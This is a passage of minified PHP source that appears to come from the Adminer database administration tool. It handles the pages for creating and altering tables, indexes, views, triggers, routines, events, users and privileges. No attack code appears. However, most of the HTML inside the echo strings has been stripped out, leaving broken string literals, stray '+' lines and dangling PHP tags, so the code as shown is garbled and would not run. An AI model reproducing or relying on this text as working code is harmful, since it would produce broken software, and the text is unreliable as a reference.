    ".$b->fieldName($l);$qb=$_GET["set"][bracket_escape($_)];$X=($G!==null?($G[$_]!=""&&$u=="sql"&&ereg("enum|set",$l["type"])?(is_array($G[$_])?array_sum($G[$_]):+$G[$_]):$G[$_]):(!$gg&&$l["auto_increment"]?"":(isset($_GET["select"])?false:($qb!==null?$qb:$l["default"]))));if(!$_POST["save"]&&is_string($X))$X=$b->editVal($X,$l);$o=($_POST["save"]?(string)$_POST["function"][$_]:($gg&&$l["on_update"]=="CURRENT_TIMESTAMP"?"now":($X===false?null:($X!==null?'':'NULL'))));if($l["type"]=="timestamp"&&$X=="CURRENT_TIMESTAMP"){$X="";$o="now";}input($l,$X,$o);echo"\n";}echo"
    \n";}echo'

    +';if($m){echo"\n";if(!isset($_GET["select"]))echo"\n";}echo($gg?"\n":($_POST||!$m?"":"\n"));if(isset($_GET["select"]))hidden_fields(array("check"=>(array)$_POST["check"],"clone"=>$_POST["clone"],"all"=>$_POST["all"]));echo' + + +

    +';}elseif(isset($_GET["create"])){$a=$_GET["create"];$je=array('HASH','LINEAR HASH','KEY','LINEAR KEY','RANGE','LIST');$Ke=referencable_primary($a);$kc=array();foreach($Ke +as$yf=>$l)$kc[str_replace("`","``",$yf)."`".str_replace("`","``",$l["field"])]=$yf;$Zd=array();$ae=array();if($a!=""){$Zd=fields($a);$ae=table_status($a);}if($_POST&&!$_POST["fields"])$_POST["fields"]=array();if($_POST&&!$k&&!$_POST["add"]&&!$_POST["drop_col"]&&!$_POST["up"]&&!$_POST["down"]){if($_POST["drop"])query_redirect("DROP TABLE ".table($a),substr(ME,0,-1),lang(145));else{$m=array();$wa=array();$ig=false;$ic=array();ksort($_POST["fields"]);$Yd=reset($Zd);$ua=" FIRST";foreach($_POST["fields"]as$v=>$l){$n=$kc[$l["type"]];$Xf=($n!==null?$Ke[$n]:$l);if($l["field"]!=""){if(!$l["has_default"])$l["default"]=null;$qb=eregi_replace(" *on update CURRENT_TIMESTAMP","",$l["default"]);if($qb!=$l["default"]){$l["on_update"]="CURRENT_TIMESTAMP";$l["default"]=$qb;}if($v==$_POST["auto_increment_col"])$l["auto_increment"]=true;$De=process_field($l,$Xf);$wa[]=array($l["orig"],$De,$ua);if($De!=process_field($Yd,$Yd)){$m[]=array($l["orig"],$De,$ua);if($l["orig"]!=""||$ua)$ig=true;}if($n!==null)$ic[idf_escape($l["field"])]=($a!=""&&$u!="sqlite"?"ADD":" ")." FOREIGN KEY (".idf_escape($l["field"]).") REFERENCES ".table($kc[$l["type"]])." (".idf_escape($Xf["field"]).")".(ereg("^($Ld)\$",$l["on_delete"])?" ON DELETE $l[on_delete]":"");$ua=" AFTER ".idf_escape($l["field"]);}elseif($l["orig"]!=""){$ig=true;$m[]=array($l["orig"]);}if($l["orig"]!=""){$Yd=next($Zd);if(!$Yd)$ua="";}}$le="";if(in_array($_POST["partition_by"],$je)){$me=array();if($_POST["partition_by"]=='RANGE'||$_POST["partition_by"]=='LIST'){foreach(array_filter($_POST["partition_names"])as$v=>$W){$X=$_POST["partition_values"][$v];$me[]="\nPARTITION ".idf_escape($W)." VALUES ".($_POST["partition_by"]=='RANGE'?"LESS THAN":"IN").($X!=""?" ($X)":" MAXVALUE");}}$le.="\nPARTITION BY $_POST[partition_by]($_POST[partition])".($me?" (".implode(",",$me)."\n)":($_POST["partitions"]?" PARTITIONS ".(+$_POST["partitions"]):""));}elseif($a!=""&&support("partitioning"))$le.="\nREMOVE PARTITIONING";$qd=lang(146);if($a==""){cookie("adminer_engine",$_POST["Engine"]);$qd=lang(147);}$_=trim($_POST["name"]);queries_redirect(ME."table=".urlencode($_),$qd,alter_table($a,$_,($u=="sqlite"&&($ig||$ic)?$wa:$m),$ic,$_POST["Comment"],($_POST["Engine"]&&$_POST["Engine"]!=$ae["Engine"]?$_POST["Engine"]:""),($_POST["Collation"]&&$_POST["Collation"]!=$ae["Collation"]?$_POST["Collation"]:""),($_POST["Auto_increment"]!=""?+$_POST["Auto_increment"]:""),$le));}}page_header(($a!=""?lang(30):lang(148)),$k,array("table"=>$a),$a);$G=array("Engine"=>$_COOKIE["adminer_engine"],"fields"=>array(array("field"=>"","type"=>(isset($T["int"])?"int":(isset($T["integer"])?"integer":"")))),"partition_names"=>array(""),);if($_POST){$G=$_POST;if($G["auto_increment_col"])$G["fields"][$G["auto_increment_col"]]["auto_increment"]=true;process_fields($G["fields"]);}elseif($a!=""){$G=$ae;$G["name"]=$a;$G["fields"]=array();if(!$_GET["auto_increment"])$G["Auto_increment"]="";foreach($Zd +as$l){$l["has_default"]=isset($l["default"]);if($l["on_update"])$l["default"].=" ON UPDATE $l[on_update]";$G["fields"][]=$l;}if(support("partitioning")){$pc="FROM information_schema.PARTITIONS WHERE TABLE_SCHEMA = ".q(DB)." AND TABLE_NAME = ".q($a);$E=$g->query("SELECT PARTITION_METHOD, PARTITION_ORDINAL_POSITION, PARTITION_EXPRESSION $pc ORDER BY PARTITION_ORDINAL_POSITION DESC LIMIT 1");list($G["partition_by"],$G["partitions"],$G["partition"])=$E->fetch_row();$G["partition_names"]=array();$G["partition_values"]=array();foreach(get_rows("SELECT PARTITION_NAME, PARTITION_DESCRIPTION $pc AND PARTITION_NAME != '' ORDER BY PARTITION_ORDINAL_POSITION")as$We){$G["partition_names"][]=$We["PARTITION_NAME"];$G["partition_values"][]=$We["PARTITION_DESCRIPTION"];}$G["partition_names"][]="";}}$Ta=collations();$tf=floor(extension_loaded("suhosin")?(min(ini_get("suhosin.request.max_vars"),ini_get("suhosin.post.max_vars"))-13)/10:0);if($tf&&count($G["fields"])>$tf)echo"

    ".h(lang(149,'suhosin.post.max_vars','suhosin.request.max_vars'))."\n";$Kb=engines();foreach($Kb +as$Jb){if(!strcasecmp($Jb,$G["Engine"])){$G["Engine"]=$Jb;break;}}echo' +

    +

    +',lang(150),': +';if($a==""&&!$_POST){?>"(".lang(151).")")+$Kb,$G["Engine"]):""),' ',($Ta&&!ereg("sqlite|mssql",$u)?html_select("Collation",array(""=>"(".lang(87).")")+$Ta,$G["Collation"]):""),' + +';$Ya=($_POST?$_POST["comments"]:$G["Comment"]!="");if(!$_POST&&!$Ya){foreach($G["fields"]as$l){if($l["comment"]!=""){$Ya=true;break;}}}edit_fields($G["fields"],$Ta,"TABLE",$tf,$kc,$Ya);echo'
    +

    +',lang(94),': + +',(support("comment")?checkbox("comments",1,$Ya,lang(96),"columnShow(this.checked, 6); toggle('Comment'); if (this.checked) this.form['Comment'].focus();",true).' ':''),'

    + +';if($_GET["create"]!=""){echo'';}echo' +';if(support("partitioning")){$ke=ereg('RANGE|LIST',$G["partition_by"]);print_fieldset("partition",lang(152),$G["partition_by"]);echo'

    +',html_select("partition_by",array(-1=>"")+$je,$G["partition_by"],"partitionByChange(this);"),'() +',lang(153),': + + +';foreach($G["partition_names"]as$v=>$W){echo'',' + +';}echo'

    +';}elseif(isset($_GET["indexes"])){$a=$_GET["indexes"];$Ec=array("PRIMARY","UNIQUE","INDEX");$O=table_status($a);if(eregi("MyISAM|M?aria",$O["Engine"]))$Ec[]="FULLTEXT";$t=indexes($a);if($u=="sqlite"){unset($Ec[0]);unset($t[""]);}if($_POST&&!$k&&!$_POST["add"]){$c=array();foreach($_POST["indexes"]as$s){$_=$s["name"];if(in_array($s["type"],$Ec)){$f=array();$cd=array();$K=array();ksort($s["columns"]);foreach($s["columns"]as$v=>$e){if($e!=""){$w=$s["lengths"][$v];$K[]=idf_escape($e).($w?"(".(+$w).")":"");$f[]=$e;$cd[]=($w?$w:null);}}if($f){$Vb=$t[$_];if($Vb){ksort($Vb["columns"]);ksort($Vb["lengths"]);if($s["type"]==$Vb["type"]&&array_values($Vb["columns"])===$f&&(!$Vb["lengths"]||array_values($Vb["lengths"])===$cd)){unset($t[$_]);continue;}}$c[]=array($s["type"],$_,"(".implode(", ",$K).")");}}}foreach($t +as$_=>$Vb)$c[]=array($Vb["type"],$_,"DROP");if(!$c)redirect(ME."table=".urlencode($a));queries_redirect(ME."table=".urlencode($a),lang(156),alter_indexes($a,$c));}page_header(lang(104),$k,array("table"=>$a),$a);$m=array_keys(fields($a));$G=array("indexes"=>$t);if($_POST){$G=$_POST;if($_POST["add"]){foreach($G["indexes"]as$v=>$s){if($s["columns"][count($s["columns"])]!="")$G["indexes"][$v]["columns"][]="";}$s=end($G["indexes"]);if($s["type"]||array_filter($s["columns"],'strlen')||array_filter($s["lengths"],'strlen'))$G["indexes"][]=array("columns"=>array(1=>""));}}else{foreach($G["indexes"]as$v=>$s){$G["indexes"][$v]["name"]=$v;$G["indexes"][$v]["columns"][]="";}$G["indexes"][]=array("columns"=>array(1=>""));}echo' +
    + + +';$Oc=1;foreach($G["indexes"]as$s){echo"
    ',lang(157),'',lang(158),'',lang(159),'
    ".html_select("indexes[$Oc][type]",array(-1=>"")+$Ec,$s["type"],($Oc==count($G["indexes"])?"indexesAddRow(this);":1))."";ksort($s["columns"]);$p=1;foreach($s["columns"]as$v=>$e){echo"".html_select("indexes[$Oc][columns][$p]",array(-1=>"")+$m,$e,($p==count($s["columns"])?"indexesAddColumn":"indexesChangeColumn")."(this, '".js_escape($u=="sql"?"":$_GET["indexes"]."_")."');")," ";$p++;}echo"\n";$Oc++;}echo'
    +

    + +

    + +

    +';}elseif(isset($_GET["database"])){if($_POST&&!$k&&!isset($_POST["add_x"])){restart_session();$_=trim($_POST["name"]);if($_POST["drop"]){$_GET["db"]="";queries_redirect(remove_from_uri("db|database"),lang(160),drop_databases(array(DB)));}elseif(DB!==$_){if(DB!=""){$_GET["db"]=$_;queries_redirect(preg_replace('~db=[^&]*&~','',ME)."db=".urlencode($_),lang(161),rename_database($_,$_POST["collation"]));}else{$i=explode("\n",str_replace("\r","",$_));$rf=true;$Wc="";foreach($i +as$j){if(count($i)==1||$j!=""){if(!create_database($j,$_POST["collation"]))$rf=false;$Wc=$j;}}queries_redirect(ME."db=".urlencode($Wc),lang(162),$rf);}}else{if(!$_POST["collation"])redirect(substr(ME,0,-1));query_redirect("ALTER DATABASE ".idf_escape($_).(eregi('^[a-z0-9_]+$',$_POST["collation"])?" COLLATE $_POST[collation]":""),substr(ME,0,-1),lang(163));}}page_header(DB!=""?lang(49):lang(164),$k,array(),DB);$Ta=collations();$_=DB;$Sa=null;if($_POST){$_=$_POST["name"];$Sa=$_POST["collation"];}elseif(DB!="")$Sa=db_collation(DB,$Ta);elseif($u=="sql"){foreach(get_vals("SHOW GRANTS")as$sc){if(preg_match('~ ON (`(([^\\\\`]|``|\\\\.)*)%`\\.\\*)?~',$sc,$z)&&$z[1]){$_=stripcslashes(idf_unescape("`$z[2]`"));break;}}}echo' +
    +

    +',($_POST["add_x"]||strpos($_,"\n")?'
    ':'')."\n".($Ta?html_select("collation",array(""=>"(".lang(87).")")+$Ta,$Sa):"");?> + + +';if(DB!="")echo"\n";elseif(!$_POST["add_x"]&&$_GET["db"]=="")echo"\n";echo' +

    +';}elseif(isset($_GET["scheme"])){if($_POST&&!$k){$y=preg_replace('~ns=[^&]*&~','',ME)."ns=";if($_POST["drop"])query_redirect("DROP SCHEMA ".idf_escape($_GET["ns"]),$y,lang(165));else{$_=trim($_POST["name"]);$y.=urlencode($_);if($_GET["ns"]=="")query_redirect("CREATE SCHEMA ".idf_escape($_),$y,lang(166));elseif($_GET["ns"]!=$_)query_redirect("ALTER SCHEMA ".idf_escape($_GET["ns"])." RENAME TO ".idf_escape($_),$y,lang(167));else +redirect($y);}}page_header($_GET["ns"]!=""?lang(50):lang(51),$k);$G=$_POST;if(!$G)$G=array("name"=>$_GET["ns"]);echo' +
    +

    "> + + +';if($_GET["ns"]!="")echo"\n";echo' +

    +';}elseif(isset($_GET["call"])){$da=$_GET["call"];page_header(lang(168).": ".h($da),$k);$Te=routine($da,(isset($_GET["callf"])?"FUNCTION":"PROCEDURE"));$Dc=array();$ce=array();foreach($Te["fields"]as$p=>$l){if(substr($l["inout"],-3)=="OUT")$ce[$p]="@".idf_escape($l["field"])." AS ".idf_escape($l["field"]);if(!$l["inout"]||substr($l["inout"],0,2)=="IN")$Dc[]=$p;}if(!$k&&$_POST){$La=array();foreach($Te["fields"]as$v=>$l){if(in_array($v,$Dc)){$W=process_input($l);if($W===false)$W="''";if(isset($ce[$v]))$g->query("SET @".idf_escape($l["field"])." = $W");}$La[]=(isset($ce[$v])?"@".idf_escape($l["field"]):$W);}$D=(isset($_GET["callf"])?"SELECT":"CALL")." ".idf_escape($da)."(".implode(", ",$La).")";echo"

    ".h($D)." ".lang(33)."\n";if(!$g->multi_query($D))echo"

    ".error()."\n";else{$h=connect();if(is_object($h))$h->select_db(DB);do{$E=$g->store_result();if(is_object($E))select($E,$h);else +echo"

    ".lang(169,$g->affected_rows)."\n";}while($g->next_result());if($ce)select($g->query("SELECT ".implode(", ",$ce)));}}echo' +

    +';if($Dc){echo"\n";foreach($Dc +as$v){$l=$Te["fields"][$v];$_=$l["field"];echo"
    ".$b->fieldName($l);$X=$_POST["fields"][$_];if($X!=""){if($l["type"]=="enum")$X=+$X;if($l["type"]=="set")$X=array_sum($X);}input($l,$X,(string)$_POST["function"][$_]);echo"\n";}echo"
    \n";}echo'

    + + +

    +';}elseif(isset($_GET["foreign"])){$a=$_GET["foreign"];if($_POST&&!$k&&!$_POST["add"]&&!$_POST["change"]&&!$_POST["change-js"]){if($_POST["drop"])query_redirect("ALTER TABLE ".table($a)."\nDROP ".($u=="sql"?"FOREIGN KEY ":"CONSTRAINT ").idf_escape($_GET["name"]),ME."table=".urlencode($a),lang(170));else{$jf=array_filter($_POST["source"],'strlen');ksort($jf);$Ef=array();foreach($jf +as$v=>$W)$Ef[$v]=$_POST["target"][$v];query_redirect("ALTER TABLE ".table($a).($_GET["name"]!=""?"\nDROP ".($u=="sql"?"FOREIGN KEY ":"CONSTRAINT ").idf_escape($_GET["name"]).",":"")."\nADD FOREIGN KEY (".implode(", ",array_map('idf_escape',$jf)).") REFERENCES ".table($_POST["table"])." (".implode(", ",array_map('idf_escape',$Ef)).")".(ereg("^($Ld)\$",$_POST["on_delete"])?" ON DELETE $_POST[on_delete]":"").(ereg("^($Ld)\$",$_POST["on_update"])?" ON UPDATE $_POST[on_update]":""),ME."table=".urlencode($a),($_GET["name"]!=""?lang(171):lang(172)));$k=lang(173)."
    $k";}}page_header(lang(174),$k,array("table"=>$a),$a);$G=array("table"=>$a,"source"=>array(""));if($_POST){$G=$_POST;ksort($G["source"]);if($_POST["add"])$G["source"][]="";elseif($_POST["change"]||$_POST["change-js"])$G["target"]=array();}elseif($_GET["name"]!=""){$kc=foreign_keys($a);$G=$kc[$_GET["name"]];$G["source"][]="";}$jf=array_keys(fields($a));$Ef=($a===$G["table"]?$jf:array_keys(fields($G["table"])));$Je=array();foreach(table_status()as$_=>$O){if(fk_support($O))$Je[]=$_;}echo' +
    +

    +';if($G["db"]==""&&$G["ns"]==""){echo +lang(175),': +',html_select("table",$Je,$G["table"],"this.form['change-js'].value = '1'; this.form.submit();"),' +

    + + +';$Oc=0;foreach($G["source"]as$v=>$W){echo"","
    ',lang(106),'',lang(107),'
    ".html_select("source[".(+$v)."]",array(-1=>"")+$jf,$W,($Oc==count($G["source"])-1?"foreignAddRow(this);":1)),"".html_select("target[".(+$v)."]",$Ef,$G["target"][$v]);$Oc++;}echo'
    +

    +',lang(88),': ',html_select("on_delete",array(-1=>"")+explode("|",$Ld),$G["on_delete"]),' ',lang(108),': ',html_select("on_update",array(-1=>"")+explode("|",$Ld),$G["on_update"]),'

    + +

    +';}if($_GET["name"]!=""){echo'';}echo' +

    +';}elseif(isset($_GET["view"])){$a=$_GET["view"];$zb=false;if($_POST&&!$k){$_=trim($_POST["name"]);$zb=drop_create("DROP VIEW ".table($a),"CREATE VIEW ".table($_)." AS\n$_POST[select]",($_POST["drop"]?substr(ME,0,-1):ME."table=".urlencode($_)),lang(178),lang(179),lang(180),$a);}page_header(($a!=""?lang(29):lang(181)),$k,array("table"=>$a),$a);$G=$_POST;if(!$G&&$a!=""){$G=view($a);$G["name"]=$a;}echo' +
    +

    ',lang(159),': +

    ';textarea("select",$G["select"]);echo'

    +';if($zb){echo'';}echo' +';if($_GET["view"]!=""){echo'';}echo' +

    +';}elseif(isset($_GET["event"])){$aa=$_GET["event"];$Lc=array("YEAR","QUARTER","MONTH","DAY","HOUR","MINUTE","WEEK","SECOND","YEAR_MONTH","DAY_HOUR","DAY_MINUTE","DAY_SECOND","HOUR_MINUTE","HOUR_SECOND","MINUTE_SECOND");$of=array("ENABLED"=>"ENABLE","DISABLED"=>"DISABLE","SLAVESIDE_DISABLED"=>"DISABLE ON SLAVE");if($_POST&&!$k){if($_POST["drop"])query_redirect("DROP EVENT ".idf_escape($aa),substr(ME,0,-1),lang(182));elseif(in_array($_POST["INTERVAL_FIELD"],$Lc)&&isset($of[$_POST["STATUS"]])){$Ye="\nON SCHEDULE ".($_POST["INTERVAL_VALUE"]?"EVERY ".q($_POST["INTERVAL_VALUE"])." $_POST[INTERVAL_FIELD]".($_POST["STARTS"]?" STARTS ".q($_POST["STARTS"]):"").($_POST["ENDS"]?" ENDS ".q($_POST["ENDS"]):""):"AT ".q($_POST["STARTS"]))." ON COMPLETION".($_POST["ON_COMPLETION"]?"":" NOT")." PRESERVE";queries_redirect(substr(ME,0,-1),($aa!=""?lang(183):lang(184)),queries(($aa!=""?"ALTER EVENT ".idf_escape($aa).$Ye.($aa!=$_POST["EVENT_NAME"]?"\nRENAME TO ".idf_escape($_POST["EVENT_NAME"]):""):"CREATE EVENT ".idf_escape($_POST["EVENT_NAME"]).$Ye)."\n".$of[$_POST["STATUS"]]." COMMENT ".q($_POST["EVENT_COMMENT"]).rtrim(" DO\n$_POST[EVENT_DEFINITION]",";").";"));}}page_header(($aa!=""?lang(185).": ".h($aa):lang(186)),$k);$G=$_POST;if(!$G&&$aa!=""){$H=get_rows("SELECT * FROM information_schema.EVENTS WHERE EVENT_SCHEMA = ".q(DB)." AND EVENT_NAME = ".q($aa));$G=reset($H);}echo' +
    + +
    ',lang(159),' +
    ',lang(187),' +
    ',lang(188),' +
    ',lang(189),' ',html_select("INTERVAL_FIELD",$Lc,$G["INTERVAL_FIELD"]),'
    ',lang(75),'',html_select("STATUS",$of,$G["STATUS"]),'
    ',lang(96),' +
     ',checkbox("ON_COMPLETION","PRESERVE",$G["ON_COMPLETION"]=="PRESERVE",lang(190)),'
    +

    ';textarea("EVENT_DEFINITION",$G["EVENT_DEFINITION"]);echo'

    + +';if($aa!=""){echo'';}echo' +

    +';}elseif(isset($_GET["procedure"])){$da=$_GET["procedure"];$Te=(isset($_GET["function"])?"FUNCTION":"PROCEDURE");$Ue=routine_languages();$zb=false;if($_POST&&!$k&&!$_POST["add"]&&!$_POST["drop_col"]&&!$_POST["up"]&&!$_POST["down"]){$K=array();$m=(array)$_POST["fields"];ksort($m);foreach($m +as$l){if($l["field"]!="")$K[]=(ereg("^($Ic)\$",$l["inout"])?"$l[inout] ":"").idf_escape($l["field"]).process_type($l,"CHARACTER SET");}$zb=drop_create("DROP $Te ".idf_escape($da),"CREATE $Te ".idf_escape(trim($_POST["name"]))." (".implode(", ",$K).")".(isset($_GET["function"])?" RETURNS".process_type($_POST["returns"],"CHARACTER SET"):"").(in_array($_POST["language"],$Ue)?" LANGUAGE $_POST[language]":"").rtrim("\n$_POST[definition]",";").";",substr(ME,0,-1),lang(191),lang(192),lang(193),$da);}page_header(($da!=""?(isset($_GET["function"])?lang(194):lang(195)).": ".h($da):(isset($_GET["function"])?lang(196):lang(197))),$k);$Ta=get_vals("SHOW CHARACTER SET");sort($Ta);$G=array("fields"=>array());if($_POST){$G=$_POST;$G["fields"]=(array)$G["fields"];process_fields($G["fields"]);}elseif($da!=""){$G=routine($da,$Te);$G["name"]=$da;}echo' +
    +

    ',lang(159),': +',($Ue?lang(8).": ".html_select("language",$Ue,$G["language"]):""),' +';edit_fields($G["fields"],$Ta,$Te);if(isset($_GET["function"])){echo"
    ".lang(198);edit_type("returns",$G["returns"],$Ta);}echo'
    +

    ';textarea("definition",$G["definition"]);echo'

    + +';if($da!=""){echo'';}if($zb){echo'';}echo' +

    +';}elseif(isset($_GET["sequence"])){$fa=$_GET["sequence"];if($_POST&&!$k){$y=substr(ME,0,-1);$_=trim($_POST["name"]);if($_POST["drop"])query_redirect("DROP SEQUENCE ".idf_escape($fa),$y,lang(199));elseif($fa=="")query_redirect("CREATE SEQUENCE ".idf_escape($_),$y,lang(200));elseif($fa!=$_)query_redirect("ALTER SEQUENCE ".idf_escape($fa)." RENAME TO ".idf_escape($_),$y,lang(201));else +redirect($y);}page_header($fa!=""?lang(202).": ".h($fa):lang(203),$k);$G=$_POST;if(!$G)$G=array("name"=>$fa);echo' +
    +

    + +';if($fa!="")echo"\n";echo' +

    +';}elseif(isset($_GET["type"])){$ga=$_GET["type"];if($_POST&&!$k){$y=substr(ME,0,-1);if($_POST["drop"])query_redirect("DROP TYPE ".idf_escape($ga),$y,lang(204));else +query_redirect("CREATE TYPE ".idf_escape(trim($_POST["name"]))." $_POST[as]",$y,lang(205));}page_header($ga!=""?lang(206).": ".h($ga):lang(207),$k);$G=$_POST;if(!$G)$G=array("as"=>"AS ");echo' +
    +

    +';if($ga!="")echo"\n";else{echo"\n";textarea("as",$G["as"]);echo"

    \n";}echo' +

    +';}elseif(isset($_GET["trigger"])){$a=$_GET["trigger"];$Vf=trigger_options();$Tf=array("INSERT","UPDATE","DELETE");$zb=false;if($_POST&&!$k&&in_array($_POST["Timing"],$Vf["Timing"])&&in_array($_POST["Event"],$Tf)&&in_array($_POST["Type"],$Vf["Type"])){$Jf=" $_POST[Timing] $_POST[Event]";$Kd=" ON ".table($a);$zb=drop_create("DROP TRIGGER ".idf_escape($_GET["name"]).($u=="pgsql"?$Kd:""),"CREATE TRIGGER ".idf_escape($_POST["Trigger"]).($u=="mssql"?$Kd.$Jf:$Jf.$Kd).rtrim(" $_POST[Type]\n$_POST[Statement]",";").";",ME."table=".urlencode($a),lang(208),lang(209),lang(210),$_GET["name"]);}page_header(($_GET["name"]!=""?lang(211).": ".h($_GET["name"]):lang(212)),$k,array("table"=>$a));$G=$_POST;if(!$G)$G=trigger($_GET["name"])+array("Trigger"=>$a."_bi");echo' +
    + +
    ',lang(213),'',html_select("Timing",$Vf["Timing"],$G["Timing"],"if (/^".preg_quote($a,"/")."_[ba][iud]$/.test(this.form['Trigger'].value)) this.form['Trigger'].value = '".js_escape($a)."_' + selectValue(this).charAt(0).toLowerCase() + selectValue(this.form['Event']).charAt(0).toLowerCase();"),'
    ',lang(214),'',html_select("Event",$Tf,$G["Event"],"this.form['Timing'].onchange();"),'
    ',lang(91),'',html_select("Type",$Vf["Type"],$G["Type"]),'
    +

    ',lang(159),': +

    ';textarea("Statement",$G["Statement"]);echo'

    + +';if($_GET["name"]!=""){echo'';}if($zb){echo'';}echo' +

    +';}elseif(isset($_GET["user"])){$ha=$_GET["user"];$Be=array(""=>array("All privileges"=>""));foreach(get_rows("SHOW PRIVILEGES")as$G){foreach(explode(",",($G["Privilege"]=="Grant option"?"":$G["Context"]))as$db)$Be[$db][$G["Privilege"]]=$G["Comment"];}$Be["Server Admin"]+=$Be["File access on server"];$Be["Databases"]["Create routine"]=$Be["Procedures"]["Create routine"];unset($Be["Procedures"]["Create routine"]);$Be["Columns"]=array();foreach(array("Select","Insert","Update","References")as$W)$Be["Columns"][$W]=$Be["Tables"][$W];unset($Be["Server Admin"]["Usage"]);foreach($Be["Tables"]as$v=>$W)unset($Be["Databases"][$v]);$Bd=array();if($_POST){foreach($_POST["objects"]as$v=>$W)$Bd[$W]=(array)$Bd[$W]+(array)$_POST["grants"][$v];}$tc=array();$Id="";if(isset($_GET["host"])&&($E=$g->query("SHOW GRANTS FOR ".q($ha)."@".q($_GET["host"])))){while($G=$E->fetch_row()){if(preg_match('~GRANT (.*) ON (.*) TO ~',$G[0],$z)&&preg_match_all('~ *([^(,]*[^ ,(])( *\\([^)]+\\))?~',$z[1],$jd,PREG_SET_ORDER)){foreach($jd +as$W){if($W[1]!="USAGE")$tc["$z[2]$W[2]"][$W[1]]=true;if(ereg(' WITH GRANT OPTION',$G[0]))$tc["$z[2]$W[2]"]["GRANT OPTION"]=true;}}if(preg_match("~ IDENTIFIED BY PASSWORD '([^']+)~",$G[0],$z))$Id=$z[1];}}if($_POST&&!$k){$Jd=(isset($_GET["host"])?q($ha)."@".q($_GET["host"]):"''");$Cd=q($_POST["user"])."@".q($_POST["host"]);$ne=q($_POST["pass"]);if($_POST["drop"])query_redirect("DROP USER $Jd",ME."privileges=",lang(215));else{$ib=false;if($Jd!=$Cd){$ib=queries(($g->server_info<5?"GRANT USAGE ON *.* TO":"CREATE USER")." $Cd IDENTIFIED BY".($_POST["hashed"]?" PASSWORD":"")." $ne");$k=!$ib;}elseif($_POST["pass"]!=$Id||!$_POST["hashed"])queries("SET PASSWORD FOR $Cd = ".($_POST["hashed"]?$ne:"PASSWORD($ne)"));if(!$k){$Qe=array();foreach($Bd +as$Fd=>$sc){if(isset($_GET["grant"]))$sc=array_filter($sc);$sc=array_keys($sc);if(isset($_GET["grant"]))$Qe=array_diff(array_keys(array_filter($Bd[$Fd],'strlen')),$sc);elseif($Jd==$Cd){$Hd=array_keys((array)$tc[$Fd]);$Qe=array_diff($Hd,$sc);$sc=array_diff($sc,$Hd);unset($tc[$Fd]);}if(preg_match('~^(.+)\\s*(\\(.*\\))?$~U',$Fd,$z)&&(!grant("REVOKE",$Qe,$z[2]," ON $z[1] FROM $Cd")||!grant("GRANT",$sc,$z[2]," ON $z[1] TO $Cd"))){$k=true;break;}}}if(!$k&&isset($_GET["host"])){if($Jd!=$Cd)queries("DROP USER $Jd");elseif(!isset($_GET["grant"])){foreach($tc +as$Fd=>$Qe){if(preg_match('~^(.+)(\\(.*\\))?$~U',$Fd,$z))grant("REVOKE",array_keys($Qe),$z[2]," ON $z[1] FROM $Cd");}}}queries_redirect(ME."privileges=",(isset($_GET["host"])?lang(216):lang(217)),!$k);if($ib)$g->query("DROP USER $Cd");}}page_header((isset($_GET["host"])?lang(22).": ".h("$ha@$_GET[host]"):lang(120)),$k,array("privileges"=>array('',lang(53))));if($_POST){$G=$_POST;$tc=$Bd;}else{$G=$_GET+array("host"=>$g->result("SELECT SUBSTRING_INDEX(CURRENT_USER, '@', -1)"));$G["pass"]=$Id;if($Id!="")$G["hashed"]=true;$tc[(DB!=""&&!isset($_GET["host"])?idf_escape(addcslashes(DB,"%_")):"").".*"]=array();}echo'
    + +
    ',lang(21),' +
    ',lang(22),' +
    ',lang(23),' +';if(!$G["hashed"]){echo'';}echo +checkbox("hashed",1,$G["hashed"],lang(218),"typePassword(this.form['pass'], this.checked);"),'
    + +';echo"\n","\n";foreach(array(""=>"","Server Admin"=>lang(21),"Databases"=>lang(24),"Tables"=>lang(102),"Columns"=>lang(103),"Procedures"=>lang(219),)as$db=>$sb){foreach((array)$Be[$db]as$Ae=>$Xa){echo"$sb'.h($Ae);$p=0;foreach($tc +as$Fd=>$sc){$_="'grants[$p][".h(strtoupper($Ae))."]'";$X=$sc[strtoupper($Ae)];if($db=="Server Admin"&&$Fd!=(isset($tc["*.*"])?"*.*":".*"))echo"
    ".lang(53)."";$p=0;foreach($tc +as$Fd=>$sc){echo''.($Fd!="*.*"?"":"*.*");$p++;}echo"
     ";elseif(isset($_GET["grant"]))echo"";else +echo"";$p++;}}}echo"
    \n",'

    + +';if(isset($_GET["host"])){echo'';}echo' +

    +';}elseif(isset($_GET["processlist"])){if(support("kill")&&$_POST&&!$k){$Tc=0;foreach((array)$_POST["kill"]as$W){if(queries("KILL ".(+$W)))$Tc++;}queries_redirect(ME."processlist=",lang(222,$Tc),$Tc||!$_POST["kill"]);}page_header(lang(73),$k);echo' +
    + +';$p=-1;foreach(process_list()as$p=>$G){if(!$p)echo"".(support("kill")?"\n";echo"".(support("kill")?"
     ":"")."".implode("",array_keys($G))."
    ".checkbox("kill[]",$G["Id"],0):"");foreach($G +as$v=>$W)echo"".(($u=="sql"&&$v=="Info"&&ereg("Query|Killed",$G["Command"])&&$W!="")||($u=="pgsql"&&$v=="current_query"&&$W!="")||($u=="oracle"&&$v=="sql_text"&&$W!="")?"".shorten_utf8($W,100,"").' '.lang(33).'':nbsp($W));echo"\n";}echo'
    + +

    +';if(support("kill")){echo($p+1)."/".lang(223,$g->result("SELECT @@max_connections")),"

    \n";}echo' +

    +';}elseif(isset($_GET["select"])){$a=$_GET["select"];$O=table_status($a);$t=indexes($a);$m=fields($a);$kc=column_foreign_keys($a);$Gd="";if($O["Oid"]=="t"){$Gd=($u=="sqlite"?"rowid":"oid");$t[]=array("type"=>"PRIMARY","columns"=>array($Gd));}parse_str($_COOKIE["adminer_import"],$ra);$Re=array();$f=array();$Hf=null;foreach($m +as$v=>$l){$_=$b->fieldName($l);if(isset($l["privileges"]["select"])&&$_!=""){$f[$v]=html_entity_decode(strip_tags($_));if(ereg('text|lob',$l["type"]))$Hf=$b->selectLengthProcess();}$Re+=$l["privileges"];}list($I,$uc)=$b->selectColumnsProcess($f,$t);$Z=$b->selectSearchProcess($m,$t);$Td=$b->selectOrderProcess($m,$t);$x=$b->selectLimitProcess();$pc=($I?implode(", ",$I):($Gd?"$Gd, ":"")."*")."\nFROM ".table($a);$vc=($uc&&count($uc)$G)echo$g->result("SELECT".limit(idf_escape(key($G))." FROM ".table($a)," WHERE ".where_check($cg).($Z?" AND ".implode(" AND ",$Z):"").($Td?" ORDER BY ".implode(", ",$Td):""),1));exit;}if($_POST&&!$k){$sg="(".implode(") OR (",array_map('where_check',(array)$_POST["check"])).")";$xe=$eg=null;foreach($t 